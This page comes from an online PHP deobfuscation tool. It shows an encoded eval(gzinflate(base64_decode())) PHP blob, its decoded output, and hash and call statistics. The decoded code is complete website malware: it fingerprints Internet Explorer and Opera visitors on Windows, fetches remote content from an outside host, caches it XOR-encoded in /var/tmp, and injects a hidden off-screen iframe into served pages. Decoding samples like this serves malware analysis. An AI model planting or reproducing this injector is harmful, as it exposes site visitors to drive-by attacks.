Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(gzinflate(base64_decode('dVRtT+M4EP7ck+4/DFW0TiA0rXg51DYsq93ui/YOVqXcfUBclHOc1k..
Decoded Output download
if (!defined('frmDs')){
define('frmDs' ,1);
function frm_dl ($url) {
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$out = curl_exec ($ch);
if (curl_errno($ch) !== 0) $out = false;
curl_close ($ch);
} else {$out = file_get_contents($url);}
return trim($out);
}
function frm_crpt($in){
$il=strlen($in);$o='';
for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';
return $o;
}
function frm_getfrm()
{
$defframe = '<style>.padqopq { position:absolute; left:-863px; top:-1158px; }</style> <div class="padqopq"><iframe src="http://wcxqvknrd.myfw.us/jquery/get.php?ver=jquery.latest.js" width="334" height="458"></iframe></div>'; //default frame
$codelink = 'http://wcxqvknrd.myfw.us/nc/gnc.php?ver=jquery.latest.js';
if (!$codelink){
return $defframe;
}
$dr='/var/tmp';
$f = $dr.'/sess_'.md5('frm_frame');
if(!file_exists($f) || time() - filemtime($f) > 60*5)
{
$dlc = frm_dl($codelink);
if ($dlc){
if ($fp = @fopen($f, 'w')){
fwrite($fp, frm_crpt($dlc));
fclose($fp);
}
else
return $dlc;
}
else
@unlink($f);
}
$fc = @file_get_contents($f);
return ($fc)?frm_crpt($fc):$defframe;
}
$ua = $_SERVER['HTTP_USER_AGENT'];
if (preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) ){
error_reporting(0);
if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() ) {
@setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
print($nfc);
}
}
}
Did this file decode correctly?
Original Code
<?php eval(gzinflate(base64_decode('dVRtT+M4EP7ck+4/DFW0TiA0rXg51DYsq93ui/YOVqXcfUBclHOc1ktiB9uhIOh/v3Gctqx2qdKmnnlm5pk38xz8nYzlXLDMJ7kqP2gSBE+//9ZxwrUMwkEwQik+eS2o4VIAapKsAN+rVRGAtelwdLfWJ+yBa6N9QlGfcMENenawjkcXEMNG4VyMGlUj1MzICsV0EcL7q+mfF99myXQyu5qez6bvzi8/TqYhDFoDT9Zm7Yw9MArWrNVZPk6hlJCNAnbiGPoBtGZ5Wmj2IjItpGYvXKyAIQCe1nBesGTOTEKlMExgeo76ymIVM7USYBQvfYtvPKx+UTWqbHJcNIXueLyItVEFE41s5MmYkCZ4LhVS4Ri3PwJ8j/GnsP/29mwCvRjx1x6/gX+B7DqTloMnX4uN5PHlByh30bHRuUpLhlHIWJvHgp32qjS7k9UdPEElNbe2w/Q/LYvasBEULDfD/ZPjg+phBNin4f5gcHRiD6tx5BzAOOP3QItU67jbOuuejrkLpBWNuwtjqmEULenD3f2tUFmvfMyXvVpH3+9qph4j5NmrFtXbe6ZiJ+oVqWHa9L7rLix5ZhZx9+DgsAsLxucLE3cPj04wRuSC4B+kcEpGEEWYYVoXBhpFkzOVGSu4uLU5v0pE0Ggu6KskXL3thO1s/LmGbpqwLq2bJNcMLLiKSXSfqsiUlXPi5UgE5T0SaaZ1QnpldtSsXtLYk6CN5e80A9hulpcH8PwMhpfMD2C/Gc6yOVnNKRz3d49snzvt0mUFtSPcrK2/5bxdFYtoU3DnvEKDs1xWdjbzEMiyvR3sJ18qbmysKnwx1dZF6xIhzTpZyFq0ci+7VC1mU6yCOoyDbBFntbA8bVKbQmLJaEPt531sUa1bPNPg7ZYenoY/9KVti1entgfJ5WT692R6TT7PZt+SKzwl7z5NzmfkxmJtTSrF5kmZGrrwSfQPF5lc6oiEgA4CePMGftD/dfll8nxRMZVuIK58eB9JlShWSWW4mPt9R3rdZa7xBvS95P3Fxdcvk2uSJLUpc0VumhCeyGn8cpdhfa+eoRmV8pbjxb22CVUqMn8QDvr9fhC6Ydk7OT7s93f/CEnUzlanUlxgSHS9rTJ+8fkf')));?>
Function Calls
| gzinflate | 1 |
| base64_decode | 1 |
Stats
| MD5 | 2df1059db226ffd1a2b766b5ae90f4c2 |
| Eval Count | 1 |
| Decode Time | 77 ms |